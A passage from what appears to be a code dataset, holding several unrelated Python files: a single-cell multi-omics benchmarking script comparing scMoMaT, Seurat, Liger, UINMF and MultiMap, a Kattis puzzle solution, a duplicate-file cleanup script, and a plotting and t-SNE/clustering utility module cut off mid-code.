{:.3f}'.format(max(nmi_scmomat)))\nprint('ARI (scMoMaT): {:.3f}'.format(max(ari_scmomat)))\n\n# 2. Seurat\nnmi_seurat = []\nari_seurat = []\nfor resolution in np.arange(0.1, 10, 0.5):\n leiden_labels_seurat = utils.leiden_cluster(X = np.concatenate(seurat_pcas, axis = 0), knn_indices = None, knn_dists = None, resolution = resolution)\n nmi_seurat.append(bmk.nmi(group1 = np.concatenate(labels), group2 = leiden_labels_seurat))\n ari_seurat.append(bmk.ari(group1 = np.concatenate(labels), group2 = leiden_labels_seurat))\nprint('NMI (Seurat): {:.3f}'.format(max(nmi_seurat)))\nprint('ARI (Seurat): {:.3f}'.format(max(ari_seurat)))\n\n# 3. Liger\nnmi_liger = []\nari_liger = []\nfor resolution in np.arange(0.1, 10, 0.5):\n leiden_labels_liger = utils.leiden_cluster(X = np.concatenate((H1_liger, H2_liger), axis = 0), knn_indices = None, knn_dists = None, resolution = resolution)\n nmi_liger.append(bmk.nmi(group1 = np.concatenate(labels), group2 = leiden_labels_liger))\n ari_liger.append(bmk.ari(group1 = np.concatenate(labels), group2 = leiden_labels_liger))\nprint('NMI (Liger): {:.3f}'.format(max(nmi_liger)))\nprint('ARI (Liger): {:.3f}'.format(max(ari_liger)))\n\n# 4. UINMF\nnmi_uinmf = []\nari_uinmf = []\nfor resolution in np.arange(0.1, 10, 0.5):\n leiden_labels_liger = utils.leiden_cluster(X = np.concatenate((H1_uinmf, H2_uinmf), axis = 0), knn_indices = None, knn_dists = None, resolution = resolution)\n nmi_uinmf.append(bmk.nmi(group1 = np.concatenate(labels), group2 = leiden_labels_liger))\n ari_uinmf.append(bmk.ari(group1 = np.concatenate(labels), group2 = leiden_labels_liger))\nprint('NMI (UINMF): {:.3f}'.format(max(nmi_uinmf)))\nprint('ARI (UINMF): {:.3f}'.format(max(ari_uinmf)))\n\n# 5. Multimap\nG_multimap = sp.load_npz(multimap_path + \"multimap_graph.npz\").toarray()\nnmi_multimap = []\nari_multimap = []\nfor resolution in np.arange(0.1, 10, 0.5):\n # leiden_labels_seurat = utils.leiden_cluster(X = np.concatenate(seurat_pcas, axis = 0), knn_indices = None, knn_dists = None, resolution = resolution)\n # Multimap state to use graph for clustering\n leiden_labels_multimap = utils.leiden_cluster(affin = G_multimap, resolution = resolution)\n nmi_multimap.append(bmk.nmi(group1 = np.concatenate(labels), group2 = leiden_labels_multimap))\n ari_multimap.append(bmk.ari(group1 = np.concatenate(labels), group2 = leiden_labels_multimap))\nprint('NMI (MultiMap): {:.3f}'.format(max(nmi_multimap)))\nprint('ARI (MultiMap): {:.3f}'.format(max(ari_multimap)))\n\n# Label transfer accuracy\n# randomly select a half of cells as query\nnp.random.seed(0)\nquery_cell = np.array([False] * knn_indices.shape[0])\nquery_cell[np.random.choice(np.arange(knn_indices.shape[0]), size = int(0.5 * knn_indices.shape[0]), replace = False)] = True\ntraining_cell = (1 - query_cell).astype(np.bool)\nquery_label = np.concatenate(labels)[query_cell]\ntraining_label = np.concatenate(labels)[training_cell]\n\n# NOTE: KNN graph should be constructed between train and query cells. We should have n_neighbors train cells around each query cell, and then vote\n# however, the pre-reconstructed knn graph for scMoMaT and MultiMap find n_neighbors from all cells (train+query), it's hard to modify pre-reconstructed graph to match the requirement.\n# We use the pre-reconstructed graph directly and ignore the query cells when voting, to methods still have the same number of n_neighbors\n# scmomat\nknn_graph = np.zeros((knn_indices.shape[0], knn_indices.shape[0]))\nknn_graph[np.arange(knn_indices.shape[0])[:, None], knn_indices] = 1\nknn_graph = knn_graph[query_cell, :][:, training_cell]\nlta_scmomat = bmk.transfer_accuracy(query_label = query_label, train_label = training_label, knn_graph = knn_graph)\n\n# Seurat\nlta_seurat = bmk.transfer_accuracy(query_label = query_label, train_label = training_label, \n z_query = np.concatenate(seurat_pcas, axis = 0)[query_cell,:],\n z_train = np.concatenate(seurat_pcas, axis = 0)[training_cell,:])\n\n# Liger\nlta_liger = bmk.transfer_accuracy(query_label = query_label, train_label = training_label, \n z_query = np.concatenate((H1_liger, H2_liger), axis = 0)[query_cell,:],\n z_train = np.concatenate((H1_liger, H2_liger), axis = 0)[training_cell,:])\n\n# UINMF\nlta_uinmf = bmk.transfer_accuracy(query_label = query_label, train_label = training_label, \n z_query = np.concatenate((H1_uinmf, H2_uinmf), axis = 0)[query_cell,:],\n z_train = np.concatenate((H1_uinmf, H2_uinmf), axis = 0)[training_cell,:])\n\n# MultiMap\nG_multimap = sp.load_npz(multimap_path + \"multimap_graph.npz\").toarray()\nknn_indices_multimap = G_multimap.argsort(axis = 1)[:, -n_neighbors:]\nknn_graph_multimap = np.zeros_like(G_multimap)\nknn_graph_multimap[np.arange(knn_indices_multimap.shape[0])[:, None], knn_indices_multimap] = 1\nlta_multimap = bmk.transfer_accuracy(query_label = query_label, train_label = training_label, knn_graph = knn_graph_multimap[query_cell, :][:, training_cell])\nlt2_multimap2 = bmk.transfer_accuracy(query_label = query_label, train_label = training_label, \n z_query = np.concatenate(X_multimaps, axis = 0)[query_cell,:],\n z_train = np.concatenate(X_multimaps, axis = 0)[training_cell,:])\n\nprint(\"Label transfer accuracy (scMoMaT): {:.3f}\".format(lta_scmomat))\nprint(\"Label transfer accuracy (Seurat): {:.3f}\".format(lta_seurat))\nprint(\"Label transfer accuracy (Liger): {:.3f}\".format(lta_liger))\nprint(\"Label transfer accuracy (UINMF): {:.3f}\".format(lta_uinmf))\nprint(\"Label transfer accuracy (MultiMap Graph): {:.3f}\".format(lta_multimap))\nprint(\"Label transfer accuracy (MultiMap): {:.3f}\".format(lt2_multimap2))\n\n\nscores = pd.DataFrame(columns = [\"methods\", \"resolution\", \"NMI\", \"ARI\", \"GC\", \"LTA\"])\nscores[\"NMI\"] = np.array(nmi_scmomat + nmi_seurat + nmi_liger + nmi_uinmf + nmi_multimap)\nscores[\"ARI\"] = np.array(ari_scmomat + ari_seurat + ari_liger + ari_uinmf + ari_multimap)\nscores[\"GC\"] = np.array([gc_scmomat] * len(nmi_scmomat) + [gc_seurat] * len(nmi_seurat) + [gc_liger] * len(nmi_liger) + [gc_uinmf] * len(nmi_uinmf) + [gc_multimap] * len(nmi_multimap))\nscores[\"LTA\"] = np.array([lta_scmomat] * len(nmi_scmomat) + [lta_seurat] * len(nmi_seurat) + [lta_liger] * len(nmi_liger) + [lta_uinmf] * len(nmi_uinmf) + [lta_multimap] * len(ari_multimap))\nscores[\"resolution\"] = np.array([x for x in np.arange(0.1, 10, 0.5)] * 5)\nscores[\"methods\"] = np.array([\"scMoMaT\"] * len(nmi_scmomat) + [\"Seurat\"] * len(nmi_seurat) + [\"Liger\"] * len(nmi_liger) + [\"UINMF\"] * len(nmi_uinmf) + [\"MultiMap\"] * len(nmi_multimap))\nscores.to_csv(result_dir + \"scores.csv\")\n\n# In[]\n# score for post_nn_distance2\nscores = pd.read_csv(result_dir + \"scores.csv\")\n\nprint(\"GC (scMoMaT) postprocess 2: {:.4f}\".format(np.max(scores.loc[scores[\"methods\"] == \"scMoMaT\", \"GC\"].values)))\nprint(\"NMI (scMoMaT) postprocess 2: {:.4f}\".format(np.max(scores.loc[scores[\"methods\"] == \"scMoMaT\", \"NMI\"].values)))\nprint(\"ARI (scMoMaT) postprocess 2: {:.4f}\".format(np.max(scores.loc[scores[\"methods\"] == \"scMoMaT\", \"ARI\"].values)))\nprint(\"LTA (scMoMaT) postprocess 2: {:.4f}\".format(np.max(scores.loc[scores[\"methods\"] == \"scMoMaT\", \"LTA\"].values)))\n\nprint(\"GC (UINMF): {:.4f}\".format(np.max(scores.loc[scores[\"methods\"] == \"UINMF\", \"GC\"].values)))\nprint(\"NMI (UINMF): {:.4f}\".format(np.max(scores.loc[scores[\"methods\"] == \"UINMF\", \"NMI\"].values)))\nprint(\"ARI (UINMF): {:.4f}\".format(np.max(scores.loc[scores[\"methods\"] == \"UINMF\", \"ARI\"].values)))\nprint(\"ARI (UINMF): {:.4f}\".format(np.max(scores.loc[scores[\"methods\"] == \"UINMF\", \"ARI\"].values)))\n\nprint(\"GC (MultiMap): {:.4f}\".format(np.max(scores.loc[scores[\"methods\"] == \"MultiMap\", \"GC\"].values)))\nprint(\"NMI (MultiMap): {:.4f}\".format(np.max(scores.loc[scores[\"methods\"] == \"MultiMap\", \"NMI\"].values)))\nprint(\"ARI (MultiMap): {:.4f}\".format(np.max(scores.loc[scores[\"methods\"] == \"MultiMap\", \"ARI\"].values)))\nprint(\"LTA (MultiMap): {:.4f}\".format(np.max(scores.loc[scores[\"methods\"] == \"MultiMap\", \"LTA\"].values)))\n\nprint(\"GC (LIGER): {:.4f}\".format(np.max(scores.loc[scores[\"methods\"] == \"Liger\", \"GC\"].values)))\nprint(\"NMI (LIGER): {:.4f}\".format(np.max(scores.loc[scores[\"methods\"] == \"Liger\", \"NMI\"].values)))\nprint(\"ARI (LIGER): {:.4f}\".format(np.max(scores.loc[scores[\"methods\"] == \"Liger\", \"ARI\"].values)))\nprint(\"LTA (LIGER): {:.4f}\".format(np.max(scores.loc[scores[\"methods\"] == \"Liger\", \"LTA\"].values)))\n\nprint(\"GC (Seurat): {:.4f}\".format(np.max(scores.loc[scores[\"methods\"] == \"Seurat\", \"GC\"].values)))\nprint(\"NMI (Seurat): {:.4f}\".format(np.max(scores.loc[scores[\"methods\"] == \"Seurat\", \"NMI\"].values)))\nprint(\"ARI (Seurat): {:.4f}\".format(np.max(scores.loc[scores[\"methods\"] == \"Seurat\", \"ARI\"].values)))\nprint(\"LTA (Seurat): {:.4f}\".format(np.max(scores.loc[scores[\"methods\"] == \"Seurat\", \"LTA\"].values)))\n\n\n\n# In[]\n# GC\nplt.rcParams[\"font.size\"] = 15\ndef show_values_on_bars(axs):\n def _show_on_single_plot(ax): \n for p in ax.patches:\n _x = p.get_x() + p.get_width() / 2\n _y = p.get_y() + p.get_height()\n value = '{:.4f}'.format(p.get_height())\n ax.text(_x, _y, value, ha=\"center\") \n\n if isinstance(axs, np.ndarray):\n for idx, ax in np.ndenumerate(axs):\n _show_on_single_plot(ax)\n else:\n _show_on_single_plot(axs)\n\nscore = pd.read_csv(result_dir + \"scores.csv\")\ngc_scmomat = np.max(score.loc[score[\"methods\"] == \"scMoMaT\", \"GC\"].values)\ngc_uinmf = np.max(score.loc[score[\"methods\"] == \"UINMF\", \"GC\"].values)\ngc_multimap = np.max(score.loc[score[\"methods\"] == \"MultiMap\", \"GC\"].values)\ngc_liger = np.max(score.loc[score[\"methods\"] == \"Liger\", \"GC\"].values)\n\nfig = plt.figure(figsize = (7,5))\nax = fig.add_subplot()\nbarlist = ax.bar([1,2,3,4], [gc_scmomat, gc_uinmf, gc_multimap, gc_liger], width = 0.4)\nbarlist[0].set_color('r')\nfig.savefig(result_dir + \"GC.pdf\", bbox_inches = \"tight\") \n\nax.tick_params(axis='x', labelsize=15)\nax.tick_params(axis='y', labelsize=15)\nax.set_title(\"graph connectivity\", fontsize = 20)\n_ = ax.set_xticks([1,2,3,4])\n_ = ax.set_xticklabels([\"scMoMaT\", \"UINMF\", \"MultiMap\", \"Liger\"])\n# _ = ax.set_xlabel(\"cluster\", fontsize = 20)\n_ = ax.set_ylabel(\"GC\", fontsize = 20)\nshow_values_on_bars(ax)\nfig.savefig(result_dir + \"GC.png\", bbox_inches = \"tight\") \n\n# NMI\nnmi_scmomat = np.max(score.loc[score[\"methods\"] == \"scMoMaT\", \"NMI\"].values)\nnmi_uinmf = np.max(score.loc[score[\"methods\"] == \"UINMF\", \"NMI\"].values)\nnmi_multimap = np.max(score.loc[score[\"methods\"] == \"MultiMap\", \"NMI\"].values)\nnmi_liger = np.max(score.loc[score[\"methods\"] == \"Liger\", \"NMI\"].values)\n\nfig = plt.figure(figsize = (7,5))\nax = fig.add_subplot()\nbarlist = ax.bar([1,2,3,4], [nmi_scmomat, nmi_uinmf, nmi_multimap, nmi_liger], width = 0.4)\nbarlist[0].set_color('r') \n\nax.tick_params(axis='x', labelsize=15)\nax.tick_params(axis='y', labelsize=15)\nax.set_title(\"NMI\", fontsize = 20)\n_ = ax.set_xticks([1,2,3,4])\n_ = ax.set_xticklabels([\"scMoMaT\", \"UINMF\", \"MultiMap\", \"Liger\"])\n# _ = ax.set_xlabel(\"cluster\", fontsize = 20)\n_ = ax.set_ylabel(\"NMI\", fontsize = 20)\nshow_values_on_bars(ax)\nfig.savefig(result_dir + \"NMI.png\", bbox_inches = \"tight\") \n\n# ARI\nari_scmomat = np.max(score.loc[score[\"methods\"] == \"scMoMaT\", \"ARI\"].values)\nari_uinmf = np.max(score.loc[score[\"methods\"] == \"UINMF\", \"ARI\"].values)\nari_multimap = np.max(score.loc[score[\"methods\"] == \"MultiMap\", \"ARI\"].values)\nari_liger = np.max(score.loc[score[\"methods\"] == \"Liger\", \"ARI\"].values)\n\nfig = plt.figure(figsize = (7,5))\nax = fig.add_subplot()\nbarlist = ax.bar([1,2,3,4], [ari_scmomat, ari_uinmf, ari_multimap, ari_liger], width = 0.4)\nbarlist[0].set_color('r') \n\nax.tick_params(axis='x', labelsize=15)\nax.tick_params(axis='y', labelsize=15)\nax.set_title(\"ARI\", fontsize = 20)\n_ = ax.set_xticks([1,2,3,4])\n_ = ax.set_xticklabels([\"scMoMaT\", \"UINMF\", \"MultiMap\", \"Liger\"])\n# _ = ax.set_xlabel(\"cluster\", fontsize = 20)\n_ = ax.set_ylabel(\"ARI\", fontsize = 20)\nshow_values_on_bars(ax)\nfig.savefig(result_dir + \"ARI.png\", bbox_inches = \"tight\") \n\n# LTA\nlta_scmomat = np.max(scores.loc[scores[\"methods\"] == \"scMoMaT\", \"LTA\"].values)\nlta_uinmf = np.max(scores.loc[scores[\"methods\"] == \"UINMF\", \"LTA\"].values)\nlta_multimap = np.max(scores.loc[scores[\"methods\"] == \"MultiMap\", \"LTA\"].values)\nlta_liger = np.max(scores.loc[scores[\"methods\"] == \"Liger\", \"LTA\"].values)\n\nfig = plt.figure(figsize = (7,5))\nax = fig.add_subplot()\nbarlist = ax.bar([1,2,3,4], [lta_scmomat, lta_uinmf, lta_multimap, lta_liger], width = 0.4)\nbarlist[0].set_color('r') \n\nax.tick_params(axis='x', labelsize=15)\nax.tick_params(axis='y', labelsize=15)\nax.set_title(\"LTA\", fontsize = 20)\n_ = ax.set_xticks([1,2,3,4])\n_ = ax.set_xticklabels([\"scMoMaT\", \"UINMF\", \"MultiMap\", \"Liger\"])\n# _ = ax.set_xlabel(\"cluster\", fontsize = 20)\n_ = ax.set_ylabel(\"LTA\", fontsize = 20)\nshow_values_on_bars(ax)\nfig.savefig(result_dir + \"LTA.png\", bbox_inches = \"tight\") \n\n\n# In[] \n# ------------------------------------------------------------------------------------------------------------------------------------------------------\n#\n# NOTE: 3. Retraining scmomat \n#\n# ------------------------------------------------------------------------------------------------------------------------------------------------------\n# read in dataset\ndir = '../data/real/diag/Xichen/'\nresult_dir = \"spleen/scmomat/\"\nseurat_path = \"spleen/seurat/\"\nliger_path = \"spleen/liger/\"\n\ncounts_rnas = []\ncounts_atacs = []\ncounts_motifs = []\nlabels = []\nn_batches = 2\nfor batch in range(1, n_batches+1):\n labels.append(pd.read_csv(os.path.join(dir, 'meta_c' + str(batch) + '.csv'), index_col=0)[\"cell_type\"].values.squeeze())\n try:\n counts_atac = sp.load_npz(os.path.join(dir, 'RxC' + str(batch) + \".npz\")).toarray().T\n counts_atac = utils.preprocess(counts_atac, modality = \"ATAC\")\n except:\n counts_atac = None \n try:\n counts_rna = sp.load_npz(os.path.join(dir, 'GxC' + str(batch) + \".npz\")).toarray().T\n counts_rna = utils.preprocess(counts_rna, modality = \"RNA\", log = False)\n except:\n counts_rna = None\n \n try:\n counts_motif = pd.read_csv(dir + r'MxC{}.csv'.format(batch), index_col = 0).T\n # there might be small amount of na\n counts_motif = counts_motif.fillna(0)\n motifs = counts_motif.columns.values\n counts_motif = counts_motif.values\n # chromVAR provide the z-score, which has negative values\n counts_motif = (counts_motif - np.min(counts_motif))/(np.max(counts_motif) - np.min(counts_motif) + 1e-6)\n except:\n counts_motif = None\n \n counts_rnas.append(counts_rna)\n counts_atacs.append(counts_atac)\n counts_motifs.append(counts_motif)\n\ncounts = {\"rna\":counts_rnas, \"atac\": counts_atacs, \"motif\": counts_motifs}\n\nA = sp.load_npz(os.path.join(dir, 'GxR.npz')).toarray()\ninteracts = None\n\ngenes = pd.read_csv(dir + \"genes.txt\", header = None).values.squeeze()\nregions = pd.read_csv(dir + \"regions.txt\", header = None).values.squeeze()\n\nfeats_name = {\"rna\": genes, \"atac\": regions, \"motif\": motifs}\ncounts[\"feats_name\"] = feats_name\n\n# CALCULATE PSEUDO-SCRNA-SEQ\ncounts[\"rna\"][1] = counts[\"atac\"][1] @ A.T\n#BINARIZE, still is able to see the cluster pattern, much denser than scRNA-Seq (cluster pattern clearer)\ncounts[\"rna\"][1] = (counts[\"rna\"][1]!=0).astype(int)\n\n# PLOT FUNCTION\n# x_umap = UMAP(n_components = 2, min_dist = 0.4, random_state = 0).fit_transform(np.concatenate(counts[\"rna\"], axis = 0))\n# utils.plot_latent_ext([x_umap[:counts[\"rna\"][0].shape[0], :], x_umap[counts[\"rna\"][0].shape[0]:, :]], annos = labels, mode = \"separate\", save = None, figsize = (10,15), axis_label = \"UMAP\")\n# utils.plot_latent_ext([x_umap[:counts[\"rna\"][0].shape[0], :], x_umap[counts[\"rna\"][0].shape[0]:, :]], annos = labels, mode = \"modality\", save = None, figsize = (10,7), axis_label = \"UMAP\")\n\ncounts[\"nbatches\"] = n_batches\n\n\n# In[] retrain model, you can incorporate new matrices \nlamb = 0.01\n\n# the leiden label is the one produced by the best resolution\nmodel2 = model.scmomat_retrain(model = model1, counts = counts, labels = leiden_labels, lamb = lamb, device = device)\nlosses = model2.train(T = 2000)\n\nC_feats = {}\nfor mod in model2.mods:\n C_feat = model2.softmax(model2.C_feats[mod]).data.cpu().numpy() @ model2.A_assos[\"shared\"].data.cpu().numpy().T \n C_feats[mod] = pd.DataFrame(data = C_feat, index = model2.feats_name[mod], columns = [\"cluster_\" + str(i) for i in range(C_feat.shape[1])])\n\n# In[]\nC_gene = C_feats[\"rna\"]\nutils.plot_feat_score(C_gene, n_feats = 20, figsize= (15,20), save_as = None, title = None)\n\nC_motif = C_feats[\"motif\"]\nutils.plot_feat_score(C_motif, n_feats = 20, figsize= (20,20), save_as = None, title = None)\n\nC_region = C_feats[\"atac\"]\n\nC_gene.to_csv(result_dir + \"C_gene.csv\")\nC_motif.to_csv(result_dir + \"C_motif.csv\")\nC_region.to_csv(result_dir + \"C_region.csv\")\n# # In[]\n# from scipy.stats import spearmanr, pearsonr\n# ave_spearman = 0\n# ave_pearson = 0\n# counts = 0\n# for cluster in np.sort(np.unique(labels[0])):\n# idx_0 = np.where(labels[0] == cluster)[0]\n# idx_1 = np.where(labels[1] == cluster)[0]\n# if len(idx_0) == 0 or len(idx_1) == 0:\n# continue\n# clust_center0 = np.mean(zs[0][idx_0, :], axis = 0)\n# clust_center1 = np.mean(zs[1][idx_1, :], axis = 0)\n# spearman, pval = spearmanr(clust_center0, clust_center1)\n# pearson, pval = pearsonr(clust_center0, clust_center1)\n# print(cluster)\n# print('Spearman: {:.2f}'.format(spearman))\n# print('Pearson: {:.2f}'.format(pearson))\n# ave_pearson += pearson\n# ave_spearman += spearman\n# counts += 1\n\n# ave_pearson /= counts\n# ave_spearman /= counts\n# print('Average spearman: {:.2f}'.format(spearman))\n# print('Average pearson: {:.2f}'.format(pearson))\n\n# label0 = labels[0]\n# label1 = labels[1]\n# zs0 = zs[0]\n# zs1 = zs[1]\n# b_foll0 = np.where(label0 == \"B_follicular\")[0]\n# b_foll1 = np.where(label1 == \"B_follicular\")[0]\n# b_foll0_center = np.mean(zs0[b_foll0, :], axis = 0)\n# b_foll1_center = np.mean(zs1[b_foll1, :], axis = 0)\n# plt.bar(x = np.arange(K), height = b_foll0_center)\n# plt.show()\n# plt.bar(x = np.arange(K), height = b_foll1_center)\n# plt.show()\n\n# H1 = pd.read_csv(liger_path + \"liger_c1.csv\", sep = \",\", index_col = 0).values\n# H2 = pd.read_csv(liger_path + \"liger_c2.csv\", sep = \",\", index_col = 0).values\n# label0 = labels[0]\n# label1 = labels[1]\n# zs0 = zs[0]\n# zs1 = zs[1]\n# b_foll0 = np.where(label0 == \"B_follicular\")[0]\n# b_foll1 = np.where(label1 == \"B_follicular\")[0]\n# b_foll0_center = np.mean(H1[b_foll0, :], axis = 0)\n# b_foll1_center = np.mean(H2[b_foll1, :], axis = 0)\n# plt.bar(x = np.arange(b_foll0_center.shape[0]), height = b_foll0_center)\n# plt.show()\n# plt.bar(x = np.arange(b_foll1_center.shape[0]), height = b_foll1_center)\n# plt.show()\n\n# %%\n\n","repo_name":"PeterZZQ/scMoMaT","sub_path":"test/test_spleen.py","file_name":"test_spleen.py","file_ext":"py","file_size_in_byte":37474,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"37"} +{"seq_id":"71634031148","text":"# https://open.kattis.com/problems/alphabetanimals\n\nfrom collections import defaultdict\n\ndef animals(last, words):\n\n # start letter : word\n adjList = defaultdict(list)\n for w in words:\n adjList[w[0]].append(w)\n\n startLetter = last[-1]\n\n if startLetter in adjList:\n for word in adjList[startLetter]:\n\n lastLet = word[-1]\n\n if lastLet not in adjList:\n return word + \"!\"\n elif startLetter == lastLet and len(adjList[startLetter]) == 1:\n return word + \"!\"\n return adjList[startLetter][0]\n\n return \"?\"\n\n\n\nif __name__ == \"__main__\":\n\n last = input()\n words = []\n for _ in range(int(input())):\n words.append(input())\n\n print(animals(last, words))\n","repo_name":"gosueep/Kattis","sub_path":"Medium/AlphabetAnimals.py","file_name":"AlphabetAnimals.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11938966015","text":"import os\nimport csv\nimport hashlib\n\ndef hash_file(filename):\n \"\"\"\"This function returns the SHA-1 hash\n of the file passed into it\"\"\"\n h = hashlib.sha1()\n with open(filename,'rb') as file:\n chunk = 0\n while chunk != b'':\n chunk = file.read(1024)\n h.update(chunk)\n return h.hexdigest() \n\ndef delete_duplicate_images():\n seen_files_dic = {} # {hash: {name: filename}}\n \n removed_files = {} # Track removed files and line numbers\n\n with open('files.csv', 'r') as f:\n csvreader = csv.reader(f)\n for i, row in enumerate(csvreader):\n file_name = row[0]\n if not os.path.isfile(file_name):\n continue\n file_hash = hash_file(file_name)\n if file_hash not in seen_files_dic:\n seen_files_dic[file_hash] = {file_name: i}\n else:\n os.remove(file_name)\n removed_files[file_name] = (file_hash, i) \n\n # Write removed files hashes and line numbers\n with open('deleted_files.csv', 'w') as out:\n csvwriter = csv.writer(out)\n csvwriter.writerow(['File Name', 'File Hash', 'Line Number'])\n for f_name, (f_hash, line_num) in removed_files.items():\n csvwriter.writerow([f_name, f_hash, line_num])\n \nif __name__ =='__main__':\n delete_duplicate_images()","repo_name":"tthoma81Debug/PythonDuplicate","sub_path":"TheProject/pythonScript.py","file_name":"pythonScript.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70602357228","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\nfrom sklearn import datasets\nfrom sklearn import metrics\nfrom sklearn import model_selection\nfrom sklearn import preprocessing\n\n\nimport tensorflow as tf\nimport abc\n\nfrom collections import OrderedDict\n\n# %matplotlib inline\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\nimport matplotlib.colors as colors \n\nimport copy\nimport models.base\n\n\n\n######### .##.....##.########.####.##........######. #########\n######### .##.....##....##.....##..##.......##....## #########\n######### .##.....##....##.....##..##.......##...... #########\n######### .##.....##....##.....##..##........######. #########\n######### .##.....##....##.....##..##.............## #########\n######### .##.....##....##.....##..##.......##....## #########\n######### ..#######.....##....####.########..######. #########\n\n\nclass Struct:\n def __init__ (self, *argv, **argd):\n if len(argd):\n # Update by dictionary\n self.__dict__.update (argd)\n else:\n # Update by position\n attrs = filter (lambda x: x[0:2] != \"__\", dir(self))\n for n in range(len(argv)):\n setattr(self, attrs[n], argv[n])\n\n\n\nclass Stat2(Struct):\n m_min = 0.\n m_max = 0.\n m_mean = 0.\n m_M2 = 0.\n m_count = 0 \n \n def __add__(self, data):\n self.m_count += 1\n if data < self.m_min: self.m_min = data\n if data > self.m_max: self.m_max = data\n delta = float(data) - self.m_mean\n self.m_mean += delta/self.m_count # approximation here\n self.m_M2 += delta*(data - self.m_mean)\n return self\n \n def __len__(self):\n return self.m_count\n\n def variance(self):\n if self.m_count < 2:\n return 0.\n else:\n return self.m_M2/(self.m_count -1)\n\n def rms(self):\n return np.sqrt(self.variance())\n \n def mean(self):\n return self.m_mean\n \n def min(self):\n return self.m_min\n\n def max(self):\n return self.m_max\n\n @staticmethod\n def test():\n s2 = Stat2()\n for i in range(10000):\n d = np.random.normal(10.,5.)\n s2 += d\n print('size = ', len(s2))\n print('mean = ', s2.mean())\n print('rms = ', s2.rms())\n\n\n\n\n# ///////////////////////////////////////////////////////////////////////////////////////////// #\n# // PLOT UTILS //////////////////////////////////////////////////////////////////////////// #\n# ///////////////////////////////////////////////////////////////////////////////////////////// #\n\nclass utils:\n\n # colab friendly graphs\n @staticmethod\n def plt_init():\n SMALL_SIZE = 2\n MEDIUM_SIZE = 4\n BIGGER_SIZE = 6\n #\n plt.rc('font', size=SMALL_SIZE) # controls default text sizes\n plt.rc('axes', titlesize=SMALL_SIZE) # fontsize of the axes title\n plt.rc('axes', labelsize=MEDIUM_SIZE) # fontsize of the x and y labels\n plt.rc('xtick', labelsize=SMALL_SIZE) # fontsize of the tick labels\n plt.rc('ytick', labelsize=SMALL_SIZE) # fontsize of the tick labels\n plt.rc('legend', fontsize=SMALL_SIZE) # legend fontsize\n plt.rc('figure', titlesize=BIGGER_SIZE) # fontsize of the figure title\n #\n plt.rcParams['figure.figsize'] = [10, 10]\n plt.rcParams['figure.dpi'] = 200\n\n # Print iterations progress\n @staticmethod\n def printProgressBar (iteration, total, prefix = '', suffix = '', decimals = 1, length = 100, fill = '#'):\n \"\"\"\n Call in a loop to create terminal progress bar\n @params:\n iteration - Required : current iteration (Int)\n total - Required : total iterations (Int)\n prefix - Optional : prefix string (Str)\n suffix - Optional : suffix string (Str)\n decimals - Optional : positive number of decimals in percent complete (Int)\n length - Optional : character length of bar (Int)\n fill - Optional : bar fill character (Str)\n \"\"\"\n percent = (\"{0:.\" + str(decimals) + \"f}\").format(100 * (iteration / float(total)))\n filledLength = int(length * iteration // total)\n bar = fill * filledLength + '-' * (length - filledLength)\n # print('\\r%s |%s| %s%% %s' % (prefix, bar, percent, suffix), end = '\\r')\n print('\\r%s |%s| %s%% %s' % (prefix, bar, percent, suffix), end = '\\r')\n # Print New Line on Complete\n if iteration == total: \n print()\n\n\n @staticmethod\n def plot(y, *args, fig=None):\n if not fig:\n fig = plt.figure()\n fig.set_size_inches( 8, 5.25 )\n plt.plot(y,args)\n plt.draw() \n return fig\n\n\n\n\"\"\"\n.########..........######..##....##.########\n....##............##....##.###...##.##......\n....##............##.......####..##.##......\n....##....#######..######..##.##.##.######..\n....##..................##.##..####.##......\n....##............##....##.##...###.##......\n....##.............######..##....##.########\n\"\"\"\n\nclass tSNE(Struct):\n import matplotlib.pyplot as plt\n from sklearn.manifold import TSNE\n tSNE = TSNE(n_components=2)\n data_X = None\n data_Y = None\n data_C = None\n data_S = None\n fig = None\n interactive = False\n n_components = property()\n perplexity = property()\n learning_rate = property()\n n_iter = property()\n\n def __setattr__(self, name, value):\n if name in self.tSNE.__dict__:\n setattr(self.tSNE, name, value)\n if self.interactive == True:\n self.update()\n self.draw()\n else:\n object.__setattr__(self, name, value)\n \n def __getattr__(self, name):\n if name in self.tSNE.__dict__:\n return getattr(self.tSNE, name) \n\n def __call__(self, data):\n if isinstance(data, tuple):\n if len(data) >= 1:\n self.data_X = data[0]\n if len(data) >= 2:\n self.data_C = data[1]\n if len(data) >= 3:\n self.data_S = data[2]\n else:\n self.data_X = data\n self.data_C = 'grey'\n self.data_S = 10\n return self.update()\n \n def update(self): \n if self.data_X is not None:\n self.data_Y = self.tSNE.fit_transform(self.data_X)\n if isinstance(self.data_C, Clustering):\n self.data_C = self.data_C(self.data_Y)\n if isinstance(self.data_S, Clustering):\n self.data_S = self.data_S(self.data_C)\n return self.data_Y\n\n def draw(self, data=None):\n if data is not None:\n self.__call__(data)\n self.update()\n self.draw_plt()\n return self.data_Y\n \n def draw_plt(self): \n if self.fig is None:\n self.fig = plt.figure()\n self.fig.set_size_inches( 8, 5.25 ) \n plt.figure(self.fig.number)\n plt.clf()\n shape = np.array(self.data_Y).shape\n if shape[1] == 1:\n plt.plot(self.data_Y, '-b')\n elif shape[1] == 2:\n plt.scatter(self.data_Y[:,0],self.data_Y[:,1], \n c=self.data_C, s=self.data_S, marker=',')\n elif shape[1] == 3:\n pass\n plt.draw()\n \n\n\"\"\"\n..######..##.......##.....##..######..########.########.########.\n.##....##.##.......##.....##.##....##....##....##.......##.....##\n.##.......##.......##.....##.##..........##....##.......##.....##\n.##.......##.......##.....##..######.....##....######...########.\n.##.......##.......##.....##.......##....##....##.......##...##..\n.##....##.##.......##.....##.##....##....##....##.......##....##.\n..######..########..#######...######.....##....########.##.....##\n\"\"\"\n\nclass Clustering(Struct):\n from sklearn import cluster\n clust = cluster.AgglomerativeClustering()\n \n interactive = True\n data = None\n fig = None\n\n n_clusters = property()\n labels_ = property()\n\n def __setattr__(self, name, value):\n if name in self.clust.__dict__:\n setattr(self.clust, name, value)\n if self.interactive == True:\n self.update()\n else:\n 